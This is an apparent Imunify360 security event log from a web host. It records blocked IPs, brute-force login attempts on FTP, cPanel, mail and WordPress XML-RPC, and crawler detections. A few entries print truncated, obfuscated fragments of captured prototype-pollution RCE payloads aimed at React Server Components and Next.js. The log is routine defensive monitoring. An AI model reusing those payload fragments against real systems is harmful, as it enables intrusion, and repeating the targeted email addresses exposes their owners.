IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-07.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.107
country_id: 3865483
description:
Jun 13 13:09:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.148.80
country_id: 1814991
domain: tdn.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.74.3.87
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-13.45.74.3.87||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.180.181
country_id: 6252001
description:
[2026-06-13 13:13:59 +0000] info [cpaneld] 136.227.180.181 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 13:14:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:23:06 ns5 pure-ftpd[2443139]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.159.41.51
country_id: 2017370
description:
2026-06-13 13:22:57 dovecot_login authenticator failed for H=([65.20.175.6]) [178.159.41.51]:44257: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:22:37 ns5 pure-ftpd[2442849]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.159.41.51
country_id: 2017370
description:
Jun 13 13:22:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.159.41.51 has been locked due to Imunify RBL


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:23:26 ns5 pure-ftpd[2443355]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:23:19 ns5 pure-ftpd[2443304]: (?@120.55.99.107) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.82.84.201
country_id: 1819730
description:
2026-06-13 13:27:51 dovecot_plain authenticator failed for H=(6m4na8qfbyirnuhpe1mgh658gd66qfo) [47.82.84.201]:64760: 535 Incorrect authentication data (set_id=support.technique@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 13:28:03 +0000] info [cpaneld] 103.253.27.219 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 13:27:57 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:29:08 ns5 pure-ftpd[2446666]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:28:37 ns5 pure-ftpd[2446309]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.115
country_id: 1880251
description:
47.128.121.115 - - [13/Jun/2026:13:29:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935464&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fgrande-tombola-telefood%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781357398 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/grande-tombola-telefood/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 13:29:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:29:27 ns5 pure-ftpd[2446906]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.130.157.31
country_id: 1210997
description:
114.130.157.31 - - [13/Jun/2026:13:29:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712987&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-togo-et-la-team-europe-unis-pour-sauver-les-aires-protegees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781357385 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-togo-et-la-team-europe-unis-pour-sauver-les-aires-protegees/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.3583.1637 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.130.157.31


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:29:21 ns5 pure-ftpd[2446841]: (?@120.55.99.107) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.69.58.92
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/b7fbad3f731248b118a4dc4caa9b90b8_L-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/b7fbad3f731248b118a4dc4caa9b90b8_L.webp 600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: mail.marketplace.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"data_bac4ad3c\":false,\"reason\":-1,\"ns_97678953\":\"5373\",\"x_926a4071\":-1,\"_response\":{\"_prefix\":\"var tkca=[].slice.call(arguments,1)[0];var jkjid=tkca;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"fer\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.239.111.173
country_id: 2750405
description:
Jun 13 13:35:24 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.239.111.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.239.111.173
country_id: 2750405
description:
2026-06-13 13:35:26 dovecot_plain authenticator failed for H=(localhost) [77.239.111.173]:46925: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-06-13 13:36:27 +0000] info [cpaneld] 38.72.131.163 - ceni "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceni (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.132.70
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.181.132.70||TA:107.181.132.70||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2b53baf136468352041c78815c51443ecee77a94||Title:0x1d2ec194||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a0c0567bc63e085f2a1953d86978910c3281ee7b||Title:0xf2aab597||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0c33eade07a8c5e7fa445bb7ce81c40f898fc3b5||Title:0x55be7e69||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: marketplace.netmaster.tg
description:


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c35bdf36d604b905b525106c9151c53f5147df16||Title:0x209a6ecd||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.135.235
country_id: 99237
description:
2026-06-13 13:43:14 dovecot_login authenticator failed for H=([220.80.66.168]) [65.20.135.235]:43799: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.135.235
country_id: 99237
description:
Jun 13 13:43:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.135.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:83749c7779da3e6e0546b53954d3c63f3901eb28||Title:0xfa27315e||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e634c236371ec95b68cfe325ac3997792991d07a||Title:0x14be087b||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 170.168.99.170
country_id: 2921044
domain: www.pnls.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Kisiniov@msn.com.www.pnls.tg||Method:blogger.getUsersBlogs


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:995a1553f51e607cc8c65856f96256ffc3fb65df||Title:0x09f475f9||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:afac8dd48734bddbdd5c2aea1e3e2fceaf09cbd6||Title:0x224f0345||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:484aa03650c21600e9f1dad3dd79c0f3a2d42762||Title:0xc92a94aa||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78f999b289ad60157b0e87044cff841fefc0a93a||Title:0x417222c0||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 13:48:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 13:49:09 +0000] info [cpaneld] 45.61.130.187 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: metaart.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"ns_13e1f355\":\"9b77\",\"data_63f1c0fc\":\"6b32\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var xh=arguments['\\\\x31'];var rlv=xh;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93bdfe3ba88bd25050a1acaaf0ae053ec9d8f1d1||Title:0x99749e47||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c20380cbc2f80ca7b318fc7300004dbd4900777b||Title:0x284eac02||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.131.209.118
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/237086200 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32454e820be70ab0341743534f09ce02f79a9539||Title:0x075d052c||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.23.9
country_id: 1814991
description:
Jun 13 13:51:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.23.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.23.9
country_id: 1814991
description:
2026-06-13 13:51:19 dovecot_login authenticator failed for H=(dsl-tn-dynamic-137.209.22.125.airtelbroadband.in) [60.172.23.9]:59906: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2dfe46f0a1231703cacdface8c6b27ccb872d38d||Title:0x3e55c99e||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.69.146.59
country_id: 2328926
description:
Jun 13 13:53:37 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.69.146.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.69.146.59
country_id: 2328926
description:
2026-06-13 13:53:39 dovecot_plain authenticator failed for H=(v71ejltjfsudg3a2c3ml3wq11) [102.69.146.59]:43720: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 13:54:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2fc460879fdcd111ac5936ebacd0907859059d2b||Title:0xc8afe5c3||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.165
country_id: 1880251
description:
47.128.96.165 - - [13/Jun/2026:13:54:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7172040&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fedoking-communication-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781358893 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/edoking-communication-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.165


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0174b571eb3588da01dedaa101b782c786ef3f6b||Title:0x4d9fbef5||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eabe2c744d0f9d97fa0922911f0cf2f1ade44ae9||Title:0xc037690b||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7652919602638c244bc6f3cfe8d90557295d18cb||Title:0xcdced474||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5898dc0eb65d0f8d4641077dcaacc6293bab70ec||Title:0x67c6f4ea||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:835b040b69fa799c1a49b961fa8a7a223b27d615||Title:0x717578b3||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 13:58:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2a0c454f635bee2177623f8fd7fcb5c8e1db687||Title:0xab631442||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.11.210
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/826357730 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 13:59:32 ns5 pure-ftpd[2465416]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 14:00:14 ns5 pure-ftpd[2465874]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 14:00:21 ns5 pure-ftpd[2465933]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 120.55.99.107
country_id: 1814991
description:
Jun 13 14:00:26 ns5 pure-ftpd[2466018]: (?@120.55.99.107) [WARNING] Authentication failed for user [data]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.44.160.5
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:62e537514eba272f429cde094cef243709ececd3||Title:0x5961fdd7||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"__b4fdb552\":[],\"_response\":{\"_prefix\":\"var cbtg=arguments['\\\\x31'];var je=cbtg;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.242.246
country_id: 2287781
description:
2026-06-13 14:08:47 dovecot_login authenticator failed for H=(ELISABETH) [160.155.242.246]:5530: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.111.6
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-09.163.198.111.6||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.63
country_id: 6252001
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.242.246
country_id: 2287781
description:
2026-06-13 14:09:41 dovecot_login authenticator failed for H=(ELISABETH) [160.155.242.246]:5534: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 14:09:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.194
country_id: 2395170
description:
Jun 13 14:11:05 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.194 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.33
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:163.198.109.33||TA:163.198.109.33||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.201.44
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-768x480.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c.webp 800w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 13 14:11:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.174.128.55
